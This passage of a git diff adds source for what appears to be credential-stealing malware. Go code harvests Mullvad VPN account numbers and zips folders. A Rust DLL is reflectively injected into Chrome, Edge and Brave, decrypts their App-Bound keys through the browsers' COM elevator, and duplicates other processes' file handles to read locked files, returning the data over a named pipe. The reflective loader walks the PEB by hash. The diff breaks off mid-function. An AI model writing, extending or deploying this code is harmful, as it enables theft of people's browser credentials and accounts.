&token) == nil && token != "" { + logf("[vpn] Mullvad found token via key %q in %s", key, path) + if !mullvadAlreadyFound(*results, token) { + *results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path}) + } + return + } + } +} + +func mullvadReadAccountHistory(results *[]types.MullvadResult, path string, pids []uint32) { + if !pathExists(path) { + return + } + data, err := platform.ReadLockedFile(path, pids) + if err != nil || len(data) == 0 { + logf("[vpn] Mullvad ReadLockedFile %q failed: %v", path, err) + return + } + rawContent := strings.TrimSpace(string(data)) + logf("[vpn] Mullvad account-history content (%d bytes) from %s", len(data), path) + + var token string + if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFound(*results, token) { + *results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path, Content: rawContent}) + } + var tokens []string + if json.Unmarshal(data, &tokens) == nil { + for _, t := range tokens { + if t != "" && !mullvadAlreadyFound(*results, t) { + *results = append(*results, types.MullvadResult{AccountNumber: t, SettingsPath: path, Content: rawContent}) + } + } + } +} + +func mullvadScanLevelDB(results *[]types.MullvadResult, lsDir, sourceDir string) { + entries, err := os.ReadDir(lsDir) + if err != nil { + return + } + for _, e := range entries { + ext := strings.ToLower(filepath.Ext(e.Name())) + if ext != ".log" && ext != ".ldb" { + continue + } + data, err := os.ReadFile(filepath.Join(lsDir, e.Name())) + if err != nil || len(data) == 0 { + continue + } + content := string(data) + // Mullvad account numbers are 16 decimal digits + for i := 0; i <= len(content)-16; i++ { + if isDigit(content[i]) { + end := i + for end < len(content) && isDigit(content[end]) { + end++ + } + seq := content[i:end] + if len(seq) == 16 { + logf("[vpn] Mullvad found 16-digit token in leveldb %s", e.Name()) + if !mullvadAlreadyFound(*results, seq) { + *results = append(*results, types.MullvadResult{AccountNumber: seq, SettingsPath: sourceDir}) + } + } + i = end + } + } + } +} + +func isDigit(c byte) bool { + return c >= '0' && c <= '9' +} + +func mullvadAlreadyFound(results []types.MullvadResult, account string) bool { + for _, r := range results { + if r.AccountNumber == account { + return true + } + } + return false +} diff --git a/native/recovery/ziputil/zip.go b/native/recovery/ziputil/zip.go new file mode 100644 index 0000000..727b608 --- /dev/null +++ b/native/recovery/ziputil/zip.go @@ -0,0 +1,83 @@ +package ziputil + +import ( + "archive/zip" + "bytes" + "fmt" + "io" + "os" + "path/filepath" +) + +const maxZipSize = 50 * 1024 * 1024 // 50 MB + +func ZipDirectory(dir string) ([]byte, error) { + if _, err := os.Stat(dir); err != nil { + return nil, fmt.Errorf("directory not found: %s", dir) + } + + var buf bytes.Buffer + zw := zip.NewWriter(&buf) + baseName := filepath.Base(dir) + + _ = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() { + return nil + } + rel, err := filepath.Rel(dir, path) + if err != nil { + return nil + } + zipEntry := baseName + "/" + filepath.ToSlash(rel) + f, err := os.Open(path) + if err != nil { + return nil + } + defer f.Close() + w, err := zw.Create(zipEntry) + if err != nil { + return nil + } + io.Copy(w, f) //nolint:errcheck + return nil + }) + + if err := zw.Close(); err != nil { + return nil, err + } + if buf.Len() > maxZipSize { + return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize) + } + return buf.Bytes(), nil +} + +func ZipFiles(paths []string, baseDir string) ([]byte, error) { + var buf bytes.Buffer + zw := zip.NewWriter(&buf) + + for _, p := range paths { + rel, err := filepath.Rel(baseDir, p) + if err != nil { + rel = filepath.Base(p) + } + f, err := os.Open(p) + if err != nil { + continue + } + w, err := zw.Create(filepath.ToSlash(rel)) + if err != nil { + f.Close() + continue + } + io.Copy(w, f) + f.Close() + } + + if err := zw.Close(); err != nil { + return nil, err + } + if buf.Len() > maxZipSize { + return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize) + } + return buf.Bytes(), nil +} diff --git a/rust-extractor/.cargo/config.toml b/rust-extractor/.cargo/config.toml new file mode 100644 index 0000000..b532e1a --- /dev/null +++ b/rust-extractor/.cargo/config.toml @@ -0,0 +1,6 @@ +# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL +# dependency at runtime. Only the GNU target is supported: the reflective +# loader manually maps the image, and the MSVC CRT's TLS/CFG/stack-cookie +# machinery fast-fails under a manual map. +[target.x86_64-pc-windows-gnu] +rustflags = ["-C", "target-feature=+crt-static"] diff --git a/rust-extractor/.gitignore b/rust-extractor/.gitignore new file mode 100644 index 0000000..ea8c4bf --- /dev/null +++ b/rust-extractor/.gitignore @@ -0,0 +1 @@ +/target diff --git a/rust-extractor/Cargo.lock b/rust-extractor/Cargo.lock new file mode 100644 index 0000000..031a87b --- /dev/null +++ b/rust-extractor/Cargo.lock @@ -0,0 +1,7 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "recovery-key-extractor" +version = "0.1.0" diff --git a/rust-extractor/Cargo.toml b/rust-extractor/Cargo.toml new file mode 100644 index 0000000..5834598 --- /dev/null +++ b/rust-extractor/Cargo.toml @@ -0,0 +1,15 @@ +[package] +name = "recovery-key-extractor" +version = "0.1.0" +edition = "2021" + +[lib] +name = "recovery_key_extractor" +crate-type = ["cdylib"] + +[profile.release] +opt-level = 3 +lto = true +codegen-units = 1 +panic = "unwind" +strip = true diff --git a/rust-extractor/src/abi.rs b/rust-extractor/src/abi.rs new file mode 100644 index 0000000..28b5237 --- /dev/null +++ b/rust-extractor/src/abi.rs @@ -0,0 +1,138 @@ +//! Raw Win32 FFI declarations and constants used by the payload. +//! +//! These are resolved through the normal PE import table, which the reflective +//! loader fixes up before DllMain runs. + +#![allow(non_snake_case)] +#![allow(non_camel_case_types)] +#![allow(dead_code)] + +use core::ffi::c_void; + +// ---- Handles / return codes ---- +pub const INVALID_HANDLE_VALUE: usize = usize::MAX; + +// ---- CreateFileW ---- +pub const GENERIC_READ: u32 = 0x8000_0000; +pub const GENERIC_WRITE: u32 = 0x4000_0000; +pub const FILE_SHARE_READ: u32 = 0x1; +pub const FILE_SHARE_WRITE: u32 = 0x2; +pub const FILE_SHARE_DELETE: u32 = 0x4; +pub const OPEN_EXISTING: u32 = 3; +pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x80; + +// ---- GetFileType ---- +pub const FILE_TYPE_DISK: u32 = 0x0001; + +// ---- DuplicateHandle ---- +pub const DUPLICATE_SAME_ACCESS: u32 = 0x0000_0002; + +// ---- Errors ---- +pub const ERROR_SHARING_VIOLATION: u32 = 32; + +// ---- GetFileSize ---- +pub const INVALID_FILE_SIZE: u32 = 0xFFFF_FFFF; + +// ---- COM ---- +pub const COINIT_APARTMENTTHREADED: u32 = 0x2; +pub const CLSCTX_LOCAL_SERVER: u32 = 0x4; +pub const RPC_C_AUTHN_DEFAULT: u32 = 0xFFFF_FFFF; +pub const RPC_C_AUTHZ_DEFAULT: u32 = 0xFFFF_FFFF; +pub const RPC_C_AUTHN_LEVEL_PKT_PRIVACY: u32 = 6; +pub const RPC_C_IMP_LEVEL_IMPERSONATE: u32 = 3; +pub const EOAC_DYNAMIC_CLOAKING: u32 = 0x40; +pub const RPC_E_CHANGED_MODE: i32 = 0x8001_0106u32 as i32; + +// ---- GUID ---- +#[repr(C)] +#[derive(Clone, Copy)] +pub struct GUID { + pub data1: u32, + pub data2: u16, + pub data3: u16, + pub data4: [u8; 8], +} + +#[link(name = "kernel32")] +extern "system" { + pub fn DisableThreadLibraryCalls(hLibModule: usize) -> i32; + pub fn GetEnvironmentVariableW( + lpName: *const u16, + lpBuffer: *mut u16, + nSize: u32, + ) -> u32; + pub fn CreateFileW( + lpFileName: *const u16, + dwDesiredAccess: u32, + dwShareMode: u32, + lpSecurityAttributes: *mut c_void, + dwCreationDisposition: u32, + dwFlagsAndAttributes: u32, + hTemplateFile: usize, + ) -> usize; + pub fn ReadFile( + hFile: usize, + lpBuffer: *mut c_void, + nNumberOfBytesToRead: u32, + lpNumberOfBytesRead: *mut u32, + lpOverlapped: *mut c_void, + ) -> i32; + pub fn WriteFile( + hFile: usize, + lpBuffer: *const c_void, + nNumberOfBytesToWrite: u32, + lpNumberOfBytesWritten: *mut u32, + lpOverlapped: *mut c_void, + ) -> i32; + pub fn FlushFileBuffers(hFile: usize) -> i32; + pub fn CloseHandle(hObject: usize) -> i32; + pub fn GetFileType(hFile: usize) -> u32; + pub fn GetFinalPathNameByHandleW( + hFile: usize, + lpszFilePath: *mut u16, + cchFilePath: u32, + dwFlags: u32, + ) -> u32; + pub fn DuplicateHandle( + hSourceProcessHandle: usize, + hSourceHandle: usize, + hTargetProcessHandle: usize, + lpTargetHandle: *mut usize, + dwDesiredAccess: u32, + bInheritHandle: i32, + dwOptions: u32, + ) -> i32; + pub fn GetCurrentProcess() -> usize; + pub fn GetFileSize(hFile: usize, lpFileSizeHigh: *mut u32) -> u32; + pub fn GetLastError() -> u32; +} + +#[link(name = "ole32")] +extern "system" { + pub fn CoInitializeEx(pvReserved: *mut c_void, dwCoInit: u32) -> i32; + pub fn CoUninitialize(); + pub fn CoCreateInstance( + rclsid: *const GUID, + pUnkOuter: *mut c_void, + dwClsContext: u32, + riid: *const GUID, + ppv: *mut *mut c_void, + ) -> i32; + pub fn CoSetProxyBlanket( + pProxy: *mut c_void, + dwAuthnSvc: u32, + dwAuthzSvc: u32, + pServerPrincName: *mut u16, + dwAuthnLevel: u32, + dwImpLevel: u32, + pAuthInfo: *mut c_void, + dwCapabilities: u32, + ) -> i32; +} + +#[link(name = "oleaut32")] +extern "system" { + pub fn SysAllocStringByteLen(psz: *const u8, len: u32) -> *mut u16; + pub fn SysFreeString(bstrString: *mut u16); + pub fn SysStringByteLen(bstrString: *mut u16) -> u32; +} diff --git a/rust-extractor/src/lib.rs b/rust-extractor/src/lib.rs new file mode 100644 index 0000000..0460edb --- /dev/null +++ b/rust-extractor/src/lib.rs @@ -0,0 +1,38 @@ +//! recovery-key-extractor — Rust port of the injected browser key extractor. +//! +//! On DLL_PROCESS_ATTACH the DLL reads the `RECOVERY_PIPE` environment +//! variable and spawns a worker thread that services `KEY:`/`READ:`/`EXIT` +//! commands over that named pipe. The DLL is reflectively mapped into the +//! browser process by the Go injector, which starts a thread on the exported +//! `ReflectiveLoader` entry point; that loader (see `reflective.rs`) maps the +//! image, resolves imports and relocations, and finally invokes `DllMain`. + +#![allow(clippy::missing_safety_doc)] +#![allow(non_snake_case)] + +mod abi; +mod payload; +mod reflective; + +use core::ffi::c_void; + +const DLL_PROCESS_ATTACH: u32 = 1; + +#[unsafe(no_mangle)] +pub extern "system" fn DllMain(h_instance: *mut c_void, reason: u32, reserved: *mut c_void) -> i32 { + if reason == DLL_PROCESS_ATTACH { + unsafe { + let _ = abi::DisableThreadLibraryCalls(h_instance as usize); + } + payload::on_attach(reserved as *const u16); + } + 1 +} + +/// Reflective loader entry point. The Go injector resolves this export by name +/// and starts a thread on it inside the target process. +#[unsafe(no_mangle)] +#[inline(never)] +pub extern "system" fn ReflectiveLoader(lpParameter: usize) -> usize { + reflective::loader_impl(lpParameter) +} diff --git a/rust-extractor/src/payload.rs b/rust-extractor/src/payload.rs new file mode 100644 index 0000000..68ae688 --- /dev/null +++ b/rust-extractor/src/payload.rs @@ -0,0 +1,606 @@ +//! Injected-payload logic, ported from key_extractor.cpp. +//! +//! On attach the payload reads the pipe name from the `RECOVERY_PIPE` +//! environment variable and spawns a worker thread that services a length- +//! prefixed protocol: `KEY:browser:base64` (App-Bound/v20 key decryption via +//! the browser's COM elevator) and `READ:path` (read a file, transparently +//! duplicating the owning process's open handle on a sharing violation). + +use core::ffi::c_void; +use core::ptr; + +use crate::abi::{self, GUID}; + +const MAX_MSG: u32 = 16384; +const MAX_FILE: u32 = 50 * 1024 * 1024; // 50MB +const ENV_BUF: u32 = 512; +const PATH_BUF: usize = 32768; + +// ---- OVERLAPPED (x64 layout) ---- + +#[repr(C)] +#[derive(Clone, Copy)] +struct Overlapped { + internal: usize, + internal_high: usize, + offset: u32, + offset_high: u32, + h_event: usize, +} + +impl Overlapped { + fn zeroed() -> Self { + Overlapped { + internal: 0, + internal_high: 0, + offset: 0, + offset_high: 0, + h_event: 0, + } + } +} + +// ---- base64 decode (standard, padded) ---- + +fn b64_val(c: u8) -> i32 { + match c { + b'A'..=b'Z' => (c - b'A') as i32, + b'a'..=b'z' => (c - b'a' + 26) as i32, + b'0'..=b'9' => (c - b'0' + 52) as i32, + b'+' => 62, + b'/' => 63, + _ => -1, + } +} + +fn base64_decode(s: &[u8]) -> Vec { + let mut out = Vec::new(); + let mut acc: u32 = 0; + let mut bits: u32 = 0; + for &c in s { + if c == b'=' { + break; + } + let v = b64_val(c); + if v < 0 { + continue; + } + acc = (acc << 6) | v as u32; + bits += 6; + if bits >= 8 { + bits -= 8; + out.push((acc >> bits) as u8); + } + } + out +} + +// ---- wide / utf helpers ---- + +fn utf8_to_wide(bytes: &[u8]) -> Vec { + let s = String::from_utf8_lossy(bytes); + let mut v: Vec = s.encode_utf16().collect(); + v.push(0); + v +} + +fn ascii_eq_ignore_case(a: &[u8], b: &[u8]) -> bool { + if a.len() != b.len() { + return false; + } + a.iter().zip(b.iter()).all(|(&x, &y)| x.to_ascii_lowercase() == y.to_ascii_lowercase()) +} + +/// Case-sensitive wide substring search (matches the C `wcsstr` behavior). +fn wide_contains(haystack: &[u16], needle: &[u16]) -> bool { + if needle.is_empty() { + return true; + } + if haystack.len() < needle.len() { + return false; + } + (0..=haystack.len() - needle.len()).any(|i| &haystack[i..i + needle.len()] == needle) +} + +// ---- pipe helpers ---- + +unsafe fn pipe_read_exact(h: usize, buf: *mut u8, len: u32) -> bool { + let mut off = 0u32; + while off < len { + let mut rd = 0u32; + let ok = abi::ReadFile( + h, + buf.add(off as usize) as *mut c_void, + len - off, + &mut rd, + ptr::null_mut(), + ); + if ok == 0 || rd == 0 { + return false; + } + off += rd; + } + true +} + +unsafe fn pipe_write_all(h: usize, buf: *const u8, len: u32) -> bool { + let mut off = 0u32; + while off < len { + let mut wr = 0u32; + let ok = abi::WriteFile( + h, + buf.add(off as usize) as *const c_void, + len - off, + &mut wr, + ptr::null_mut(), + ); + if ok == 0 || wr == 0 { + return false; + } + off += wr; + } + true +} + +unsafe fn send_response(h: usize, status: u8, data: &[u8]) -> bool { + let total = 1u32 + data.len() as u32; + let len_bytes = total.to_le_bytes(); + if !pipe_write_all(h, len_bytes.as_ptr(), 4) { + return false; + } + if !pipe_write_all(h, &status as *const u8, 1) { + return false; + } + if !data.is_empty() && !pipe_write_all(h, data.as_ptr(), data.len() as u32) { + return false; + } + abi::FlushFileBuffers(h); + true +} + +// ---- COM elevator (IElevator / IEdgeElevator) ---- + +// Chrome/Brave: IUnknown + RunRecoveryCRXElevated + EncryptData + DecryptData +#[repr(C)] +struct IElevatorVtbl { + query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32, + add_ref: unsafe extern "system" fn(*mut c_void) -> u32, + release: unsafe extern "system" fn(*mut c_void) -> u32, + run_recovery_crx_elevated: unsafe extern "system" fn( + *mut c_void, + *const u16, + *const u16, + *const u16, + *const u16, + u32, + *mut usize, + ) -> i32, + encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32, + decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32, +} + +// Edge: IUnknown + 3 base methods + RunRecoveryCRXElevated + EncryptData + DecryptData +#[repr(C)] +struct IEdgeElevatorVtbl { + query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32, + add_ref: unsafe extern "system" fn(*mut c_void) -> u32, + release: unsafe extern "system" fn(*mut c_void) -> u32, + edge_method1: unsafe extern "system" fn(*mut c_void) -> i32, + edge_method2: unsafe extern "system" fn(*mut c_void) -> i32, + edge_method3: unsafe extern "system" fn(*mut c_void) -> i32, + run_recovery_crx_elevated: unsafe extern "system" fn( + *mut c_void, + *const u16, + *const u16, + *const u16, + *const u16, + u32, + *mut usize, + ) -> i32, + encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32, + decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32, +} + +const CLSID_CHROME: GUID = GUID { + data1: 0x708860E0, + data2: 0xF641, + data3: 0x4611, + data4: [0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B], +}; +const IID_CHROME: GUID = GUID { + data1: 0x463ABECF, + data2: 0x410D, + data3: 0x407F, + data4: [0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8], +}; +const IID_CHROME2: GUID = GUID { + data1: 0x1BF5208B, + data2: 0x295F, + data3: 0x4992, + data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38], +}; + +const CLSID_EDGE: GUID = GUID { + data1: 0x1FCBE96C, + data2: 0x1697, + data3: 0x43AF, + data4: [0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67], +}; +const IID_EDGE: GUID = GUID { + data1: 0xC9C2B807, + data2: 0x7731, + data3: 0x4F34, + data4: [0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B], +}; +const IID_EDGE2: GUID = GUID { + data1: 0x8F7B6792, + data2: 0x784D, + data3: 0x4047, + data4: [0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05], +}; + +const CLSID_BRAVE: GUID = GUID { + data1: 0x576B31AF, + data2: 0x6369, + data3: 0x4B6B, + data4: [0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B], +}; +const IID_BRAVE: GUID = GUID { + data1: 0xF396861E, + data2: 0x0C8E, + data3: 0x4C71, + data4: [0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9], +}; +const IID_BRAVE2: GUID = GUID { + data1: 0x1BF5208B, + data2: 0x295F, + data3: 0x4992, + data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38], +}; + +const COLE_DEFAULT_PRINCIPAL: *mut u16 = usize::MAX as *mut u16; + +unsafe fn set_proxy_blanket(ptr: *mut c_void) { + abi::CoSetProxyBlanket( + ptr, + abi::RPC_C_AUTHN_DEFAULT, + abi::RPC_C_AUTHZ_DEFAULT, + COLE_DEFAULT_PRINCIPAL, + abi::RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + abi::RPC_C_IMP_LEVEL_IMPERSONATE, + ptr::null_mut(), + abi::EOAC_DYNAMIC_CLOAKING, + ); +} + +unsafe fn decrypt_chrome( + clsid: GUID, + iid: GUID, + iid2: GUID, + bstr: *mut u16, + out: *mut *mut u16, + err: *mut u32, +) -> i32 { + let mut ptr: *mut c_void = ptr::null_mut(); + let mut hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid2, &mut ptr); + if hr < 0 { + hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid, &mut ptr); + } + if hr < 0 || ptr.is_null() { + return hr; + } + set_proxy_blanket(ptr); + let vtbl = *(ptr as *const *const IElevatorVtbl); + hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err); + ((*vtbl).release)(ptr); + hr +} + +unsafe fn decrypt_edge(bstr: *mut u16, out: *mut *mut u16, err: *mut u32) -> i32 { + // Try IEdgeElevator2 first, then IEdgeElevator (same vtable layout). + let mut ptr: *mut c_void = ptr::null_mut(); + let mut hr = abi::CoCreateInstance( + &CLSID_EDGE, + ptr::null_mut(), + abi::CLSCTX_LOCAL_SERVER, + &IID_EDGE2, + &mut ptr, + ); + if hr >= 0 && !ptr.is_null() { + set_proxy_blanket(ptr); + let vtbl = *(ptr as *const *const IEdgeElevatorVtbl); + hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err); + ((*vtbl).release)(ptr); + if hr >= 0 && !(*out).is_null() { + return hr; + } + } + + ptr = ptr::null_mut(); + hr = abi::CoCreateInstance( + &CLSID_EDGE, + ptr::null_mut(), + abi::CLSCTX_LOCAL_SERVER, + &IID_EDGE, + &mut ptr, + ); + if hr < 0 || ptr.is_null() { + return hr; + } + set_proxy_blanket(ptr); + let vtbl = *(ptr as *const *const IEdgeElevatorVtbl); + hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err); + ((*vtbl).release)(ptr); + hr +} + +fn decrypt_via_elevator(enc: &[u8], browser: &[u8]) -> Option> { + unsafe { + let hr = abi::CoInitializeEx(ptr::null_mut(), abi::COINIT_APARTMENTTHREADED); + if hr < 0 && hr != abi::RPC_E_CHANGED_MODE { + return None; + } + + let bstr_enc = abi::SysAllocStringByteLen(enc.as_ptr(), enc.len() as u32); + if bstr_enc.is_null() { + abi::CoUninitialize(); + return None; + } + + let mut bstr_plain: *mut u16 = ptr::null_mut(); + let mut com_err: u32 = 0; + + let hr2 = if ascii_eq_ignore_case(browser, b"edge") { + decrypt_edge(bstr_enc, &mut bstr_plain, &mut com_err) + } else if ascii_eq_ignore_case(browser, b"brave") { + decrypt_chrome(CLSID_BRAVE, IID_BRAVE, IID_BRAVE2, bstr_enc, &mut bstr_plain, &mut com_err) + } else { + decrypt_chrome(CLSID_CHROME, IID_CHROME, IID_CHROME2, bstr_enc, &mut bstr_plain, &mut com_err) + }; + + abi::SysFreeString(bstr_enc); + + let result = if hr2 >= 0 && !bstr_plain.is_null() { + let len = abi::SysStringByteLen(bstr_plain); + if len > 0 && len <= 64 { + let mut key = vec![0u8; len as usize]; + ptr::copy_nonoverlapping(bstr_plain as *const u8, key.as_mut_ptr(), len as usize); + Some(key) + } else { + None + } + } else { + None + }; + + if !bstr_plain.is_null() { + abi::SysFreeString(bstr_plain); + } + abi::CoUninitialize(); + result + } +} + +// ---- READ handler ---- + +/// Brute-force the owning process's open file handle by walking handle values +/// and matching the DOS path (ported from `find_open_handle`). +unsafe fn find_open_handle(target_path: &[u16]) -> usize { + let mut sep_count = 0; + let mut suffix_start = 0usize; + let mut i = target_path.len(); + while i > 0 && sep_count < 2 { + i -= 1; + if target_path[i] == b'\\' as u16 { + sep_count += 1; + if sep_count == 2 { + suffix_start = i; + } + } + } + let suffix = &target_path[suffix_start..]; + + let mut h = 4usize; + while h < 0x10000 { + if abi::GetFileType(h) == abi::FILE_TYPE_DISK { + let mut name = [0u16; PATH_BUF]; + let len = abi::GetFinalPathNameByHandleW(h, name.as_mut_ptr(), PATH_BUF as u32, 0); + if len > 0 && (len as usize) < PATH_BUF { + let slice = &name[..len as usize]; + if wide_contains(slice, suffix) { + let mut dup = 0usize; + if abi::DuplicateHandle( + abi::GetCurrentProcess(), + h, + abi::GetCurrentProcess(), + &mut dup, + 0, + 0, + abi::DUPLICATE_SAME_ACCESS, + ) != 0 + { + return dup; + } + } + } + } + h += 4; + } + abi::INVALID_HANDLE_VALUE +} + +unsafe fn handle_read(h: usize, utf8path: &[u8]) { + let wide = utf8_to_wide(utf8path); + let mut hfile = abi::CreateFileW( + wide.as_ptr(), + abi::GENERIC_READ, + abi::FILE_SHARE_READ | abi::FILE_SHARE_WRITE | abi::FILE_SHARE_DELETE, + ptr::null_mut(), + abi::OPEN_EXISTING, + abi::FILE_ATTRIBUTE_NORMAL, + 0, + ); + + let mut via_dup = false; + if hfile == abi::INVALID_HANDLE_VALUE && abi::GetLastError() == abi::ERROR_SHARING_VIOLATION { + hfile = find_open_handle(&wide[..wide.len() - 1]); + via_dup = true; + } + + if hfile == abi::INVALID_HANDLE_VALUE { + send_response(h, 1, b"open failed"); + return; + } + + let size = abi::GetFileSize(hfile, ptr::null_mut()); + if size == abi::INVALID_FILE_SIZE || size > MAX_FILE { + abi::CloseHandle(hfile); + send_response(h, 1, b"bad size"); + return; + } + + let mut data = vec![0u8; size as usize]; + let mut rd = 0u32; + let ok = if via_dup { + let mut ov = Overlapped::zeroed(); + abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, &mut ov as *mut Overlapped as *mut c_void) != 0 + && rd == size + } else { + abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, ptr::null_mut()) != 0 + && rd == size + }; + abi::CloseHandle(hfile); + + if ok { + send_response(h, 0, &data); + } else if via_dup { + send_response(h, 1, b"dup read fail"); + } else { + send_response(h, 1, b"read fail"); + } +} + +// ---- KEY handler ---- + +unsafe fn handle_key(h: usize, args: &[u8]) { + let Some(pos) = args.iter().position(|&c| c == b':') else { + send_response(h, 1, b"bad format"); + return; + }; + let (browser, b64) = args.split_at(pos); + let enc = base64_decode(&b64[1..]); + if enc.len() < 5 { + send_response(h, 1, b"small key"); + return; + } + match decrypt_via_elevator(&enc, browser) { + Some(key) => { + send_response(h, 0, &key); + } + None => { + send_response(h, 1, b"decrypt failed"); + } + } +} + +// ---- worker thread ---- + +unsafe fn worker(pipe: &[u16]) -> u32 { + let h = abi::CreateFileW( + pipe.as_ptr(), + abi::GENERIC_READ | abi::GENERIC_WRITE, + 0, + ptr::null_mut(), + abi::OPEN_EXISTING, + 0, + 0, + ); + if h == abi::INVALID_HANDLE_VALUE { + return 1; + } + + loop { + let mut msg_len: u32 = 0; + if !pipe_read_exact(h, &mut msg_len as *mut u32 as *mut u8, 4) + || msg_len == 0 + || msg_len > MAX_MSG + { + break; + } + let mut msg = vec![0u8; msg_len as usize]; + if !pipe_read_exact(h, msg.as_mut_ptr(), msg_len) { + break; + } + + if msg.len() >= 4 && &msg[..4] == b"KEY:" { + handle_key(h, &msg[4..]); + } else if msg.len() >= 5 && &msg[..5] == b"READ:" { + handle_read(h, &msg[5..]); + } else if msg.len() >= 4 && &msg[..4] == b"EXIT" { + break; + } else { + send_response(h, 1, b"unknown"); + } + } + + abi::CloseHandle(h); + 0 +} + +fn read_env_wide(name: &str) -> Option> { + let mut name_w: Vec = name.encode_utf16().collect(); + name_w.push(0); + let mut buf = vec![0u16; ENV_BUF as usize]; + unsafe { + let len = abi::GetEnvironmentVariableW(name_w.as_ptr(), buf.as_mut_ptr(), ENV_BUF); + if len == 0 || len >= ENV_BUF { + return None; + } + buf.truncate(len as usize); + Some(buf) + } +} + +/// Read a NUL-terminated UTF-16 string from a pointer (the pipe name passed +/// through lpParameter by the injector). +fn read_wide_from_ptr(p: *const u16) -> Option> { + if p.is_null() { + return None; + } + let mut v = Vec::new(); + let mut i = 0usize; + unsafe { + loop { + let c = *p.add(i); + if c == 0 { + break; + } + v.push(c); + i += 1; + if i > 4096 { + return None; + } + } + } + if v.is_empty() { + None + } else { + Some(v) + } +} + +pub fn on_attach(lp_param: *const u16) { + // Prefer the pipe name passed in memory by the injector (works for running + // browsers); fall back to the inherited env var for spawned headless ones. + let pipe = read_wide_from_ptr(lp_param) + .or_else(|| read_env_wide("RECOVERY_PIPE")); + if let Some(pipe) = pipe { + let mut p = pipe; + p.push(0); + let _ = std::thread::Builder::new() + .name("kematian-extractor".to_string()) + .spawn(move || unsafe { + worker(&p); + }); + } +} diff --git a/rust-extractor/src/reflective.rs b/rust-extractor/src/reflective.rs new file mode 100644 index 0000000..045c4bf --- /dev/null +++ b/rust-extractor/src/reflective.rs @@ -0,0 +1,469 @@ +//! Position-independent reflective loader, pure Rust (no C). +//! +//! This is a direct port of the Harmony Security `ReflectiveLoader` approach. +//! The injection stubs copy this DLL's raw bytes into a remote process and +//! start a thread on the exported `ReflectiveLoader` entry. When that thread +//! begins, the copied image is *not* relocated and its imports are *not* +//! resolved, so this function must be position independent end to end: +//! +//! - It never reads relocatable data. All image structures are reached by +//! computing addresses at runtime and reading with volatile scalar loads. +//! - It resolves `LoadLibraryA`, `GetProcAddress`, `VirtualAlloc`, +//! `NtFlushInstructionCache` and `RtlAddFunctionTable` by walking the PEB +//! module list and export tables by hand. Module names are matched by a +//! rotate hash of *immediate* constants — never through `.rodata` string +//! literals, because a RIP-relative load into the file-offset-mapped raw +//! copy would read the wrong bytes until the image has been relocated. +//! - It copies the image into a fresh RWX allocation, fixes up imports, +//! applies relocations, registers `.pdata` for exception unwinding and +//! finally invokes the DLL's entry point. +//! +//! All loops use `wrapping_*` arithmetic and every memory access is volatile +//! so the compiler cannot lower any access to a `memcpy`/`memset` libcall or +//! introduce a panic edge (both would route through a not-yet-loaded IAT or +//! unwinder). + +use core::arch::asm; + +const MEM_RESERVE_COMMIT: u32 = 0x0000_3000; +const PAGE_EXECUTE_READWRITE: u32 = 0x40; +const DLL_PROCESS_ATTACH: u32 = 1; + +// rotate-right-by-1 hashes of the names the loader resolves. +const KERNEL32_HASH: u32 = 0xC3A0_008F; +const NTDLL_HASH: u32 = 0xE600_0091; +const LOADLIBRARYA_HASH: u32 = 0x8DC0_0093; +const GETPROCADDRESS_HASH: u32 = 0x8708_00A0; +const VIRTUALALLOC_HASH: u32 = 0xB800_008F; +const NTFLUSH_HASH: u32 = 0xED3A_788A; + +type LoadLibraryFn = unsafe extern "system" fn(name: *const u8) -> usize; +type GetProcAddressFn = unsafe extern "system" fn(module: usize, name: *const u8) -> usize; +type VirtualAllocFn = unsafe extern "system" fn( + addr: usize, + size: usize, + allocation_type: u32, + protect: u32, +) -> usize; +type NtFlushFn = unsafe extern "system" fn(handle: isize, base: usize, len: usize) -> i32; +type RtlAddFunctionTableFn = unsafe extern "system" fn( + function_table: usize, + entry_count: u32, + base_address: u64, +) -> i32; +type DllMainFn = unsafe extern "system" fn(hinstance: usize, reason: u32, reserved: usize) -> i32; + +// ---- Volatile scalar memory access (never lowered to libcalls) ---- + +#[inline(always)] +unsafe fn rd_u8(p: usize, off: usize) -> u8 { + core::ptr::read_volatile((p + off) as *const u8) +} + +#[inline(always)] +unsafe fn 